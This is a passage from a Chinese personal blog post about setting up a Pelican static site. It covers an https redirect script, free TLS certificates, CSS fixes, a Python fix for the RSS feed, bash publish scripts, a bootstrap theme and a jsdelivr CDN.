<span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">str</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="s2">"http://penhub.space"</span><span class="p">)</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="o">-</span><span class="mf">1</span><span class="p">)</span><span class="w"> </span>
<span class="p">{</span>
<span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">str</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="s2">"http://penhub.space"</span><span class="p">,</span><span class="w"> </span><span class="s2">"https://penhub.space"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">str</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="s2">"144.34.164.217"</span><span class="p">)</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="o">-</span><span class="mf">1</span><span class="p">)</span><span class="w"> </span>
<span class="p">{</span>
<span class="w"> </span><span class="cm">/*var strrrr =*/</span>
<span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">str</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="s2">"http://144.34.164.217"</span><span class="p">,</span><span class="w"> </span><span class="s2">"https://penhub.space"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>
<p>rewrite模块用法请参考:<a href="https://zhuanlan.zhihu.com/p/270230904">https://zhuanlan.zhihu.com/p/270230904</a></p>
<h3>certbot</h3>
<p>以前的域名不用了,把阿里云的证书吊销了,想着重新申请一个,但是已经不能白嫖了,好像只有新用户可以</p>
<p>网上搜了一下,最后选择使用certbot自动申请Let's Encrypt的证书,用法相当简单,跟着官方指导走就行了</p>
<p>在<a href="https://certbot.eff.org/">这里</a>选择你的Web服务器类型和操作系统,下方会自动生成需要你执行的命令,看不懂可以翻译一下或着在我的网站留言</p>
<p>这个用起来还是很方便的,全程向导,自动配置服务器,且可以自动更新将要过期的证书</p>
<h3><a href="https://freessl.cn/acme-deploy?domains=144.one%2Cwww.144.one">freessl.cn</a></h3>
<p>现在certbot我也不用了,直接用这个网站申请免费证书,然后自己配置一下就完事了</p>
<h2>解决字体超出容器宽度的问题</h2>
<p>在css中加入如下代码即可:</p>
<div class="highlight"><pre><span></span><code><span class="nt">word-wrap</span><span class="p">:</span><span class="nd">break-word</span><span class="o">;</span><span class="w"> </span>
<span class="nt">word-break</span><span class="p">:</span><span class="nd">break-all</span><span class="o">;</span><span class="w"> </span>
<span class="nt">overflow</span><span class="o">:</span><span class="w"> </span><span class="nt">auto</span><span class="o">;</span>
</code></pre></div>
<p>对于代码块,超出的部分不会被裁剪,而是使用水平滚动的方式进行查看,这个由<code>overflow: auto</code>进行控制</p>
<p><img alt="1606062254438" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/WDCnOYbGNf.jpg"></p>
<p><code>word-wrap:break-word</code>和<code>word-break:break-all</code>可以确保被引用的部分不会超出页面宽度,而是自动换行</p>
<p><img alt="1606062311173" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/MkfChXlHem.jpg"></p>
<h2>处理RSS订阅链接</h2>
<p>pelican所生成的rss订阅的xml文件有问题,无法直接订阅,问题出在link标签的href属性,比如我们当前这篇文章的订阅链接为<code>href="shi-yong-pelicanda-jian-zi-ji-de-jing-tai-bo-ke.html"</code>,我使用<a href="https://fatecore.com/p/irreader/">irreader</a>进行订阅时发现其访问的链接直接就是<code>shi-yong-pelicanda-jian-zi-ji-de-jing-tai-bo-ke.html</code>,因此我们需要对其进行处理,加上我们网站的地址,处理代码如下:</p>
<div class="highlight"><pre><span></span><code><span class="n">fisssn</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'/var/www/html/feeds/all.atom.xml'</span><span class="p">,</span> <span class="s2">"rt"</span><span class="p">)</span>
<span class="n">lines</span> <span class="o">=</span> <span class="n">fisssn</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
<span class="n">dddddata</span> <span class="o">=</span> <span class="s1">'biaojizifuchsuangiuqeryguisdgfjks'</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="n">line</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s1">'</span><span class="se">\n</span><span class="s1">'</span><span class="p">,</span> <span class="s1">''</span><span class="p">)</span> <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">lines</span><span class="p">])</span>
<span class="c1">#加上我们网站的地址</span>
<span class="n">dddddata</span> <span class="o">=</span> <span class="n">dddddata</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s1">'<link href="'</span><span class="p">,</span> <span class="s1">'<link href="http://144.34.164.217/'</span><span class="p">)</span>
<span class="n">dddddata</span> <span class="o">=</span> <span class="n">dddddata</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s1">'biaojizifuchsuangiuqeryguisdgfjks'</span><span class="p">,</span> <span class="s1">'</span><span class="se">\n</span><span class="s1">'</span><span class="p">)</span>
<span class="n">fisssn</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">fisssn</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'/var/www/html/feeds/all.atom.xml'</span><span class="p">,</span> <span class="s2">"wt"</span><span class="p">)</span>
<span class="n">fisssn</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">dddddata</span><span class="p">)</span>
<span class="n">fisssn</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div>
<p>然后就可以正常订阅了</p>
<p><img alt="1608090022588" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/mUXYEpMMMY.jpg"></p>
<h2>本地预览</h2>
<p>完整的处理脚本如下:</p>
<p><code>publish.sh</code></p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/bin/bash</span>
make<span class="w"> </span>publish
python3<span class="w"> </span>/home/x/wochinijiamile/render.py
chmod<span class="w"> </span>-R<span class="w"> </span><span class="m">777</span><span class="w"> </span>/home/x/wochinijiamile/*
cp<span class="w"> </span>/home/x/wochinijiamile/47yr3w8gbhisrydus.html<span class="w"> </span>/var/www/html
cp<span class="w"> </span>/home/x/wochinijiamile/favicon.ico<span class="w"> </span>/var/www/html
cp<span class="w"> </span>-r<span class="w"> </span>/home/x/wochinijiamile/content/*assets*<span class="w"> </span>/var/www/html/theme/images
cp<span class="w"> </span>-r<span class="w"> </span>/home/x/wochinijiamile/css/*<span class="w"> </span>/var/www/html/theme/css
cp<span class="w"> </span>-r<span class="w"> </span>/home/x/wochinijiamile/images/*<span class="w"> </span>/var/www/html/theme/images
.<span class="w"> </span>/home/x/wochinijiamile/1.sh
</code></pre></div>
<p>1.sh的内容如下</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/bin/bash</span>
<span class="nb">cd</span><span class="w"> </span>/var/www/html
python<span class="w"> </span>-m<span class="w"> </span>SimpleHTTPServer
</code></pre></div>
<p>然后使用如下方式执行该脚本:</p>
<div class="highlight"><pre><span></span><code>.<span class="w"> </span>./shell.sh
</code></pre></div>
<p>这样执行可以将当前工作目录切换为脚本中cd的目录</p>
<p>使用shot.sh调用publish.sh:</p>
<p><code>shot.sh</code></p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/bin/bash</span>
sudo<span class="w"> </span>/home/x/wochinijiamile/publish.sh
</code></pre></div>
<p><img alt="image-20200701100724841" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/eMbcPCrgjA.jpg"></p>
<p><img alt="image-20200701104212832" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/AqIPxGtbBS.jpg"></p>
<h2>bootstrap</h2>
<p>最后还是将网站改造成了响应式的,因为手机看起来确实太不方便</p>
<p>改造的方法也挺简单,使用pelican的<a href="https://github.com/getpelican/pelican-themes/tree/master/pelican-bootstrap3">bootstrap3</a>主题和<a href="https://github.com/getpelican/pelican-plugins/tree/master/i18n_subsites">i18n_subsites</a>插件即可,具体使用方法请参考:<a href="https://github.com/getpelican/pelican-themes/tree/master/pelican-bootstrap3">https://github.com/getpelican/pelican-themes/tree/master/pelican-bootstrap3</a></p>
<p>在改造过程中遇到的问题,就是我使用的pelican并不是最新版本,在生成网页时会出现如下报错:</p>
<div class="highlight"><pre><span></span><code><span class="n">CRITICAL</span><span class="p">:</span> <span class="ne">TypeError</span><span class="p">:</span> <span class="ow">not</span> <span class="nb">all</span> <span class="n">arguments</span> <span class="n">converted</span> <span class="n">during</span> <span class="n">string</span> <span class="n">formatting</span>
</code></pre></div>
<p>该问题可以通过更新至pelican最新版本解决,我是直接使用git克隆了<a href="https://github.com/getpelican/pelican.git">pelican在github上的项目</a>,然后使用setup.py安装的</p>
<h2><a href="https://www.jsdelivr.com/">jsdelivr</a>+<a href="https://github.com/">github</a>免费CDN</h2>
<p><strong>当然这个不同于付费的CDN,没有网站保护功能,只是单纯地加速网站的静态资源(js、css、图片等)</strong></p>
<p>在自己的github上新建一公共仓库,把需要加速的静态资源全部push上去,然后点击右侧的release发布,版本号随便填,只要别和上次的一样就行</p>
<p>然后可以使用如下格式通过jsdelivr进行访问</p>
<div class="highlight"><pre><span></span><code><span class="nl">https</span><span class="p">:</span><span class="c1">//cdn.jsdelivr.net/gh/wqreytuk/jscss@124.1.24642243/2.css</span>
</code></pre></div>
<p><code>wqreytuk</code>是你的github用户名</p>
<p><code>jscss</code>是你新建的静态资源仓库名</p>
<p><code>@124.1.24642243</code>是你发布的release的版本号,其中<code>@</code>是固定的</p>
<p>最后就是你的静态资源在仓库中的路径了,如果有目录,就照着往上写就行了</p>
<p>亲测可用,速度还是很快的,而且图片也能进行加速,很良心了</p>
<p>如果静态资源有改动,需要重新进行发布</p>
<p><img alt="image-20210704002213945" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/UESxloUvFW.jpg"></p>
<p><img alt="image-20210704002219504" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/sEnPtdcxGO.jpg"></p>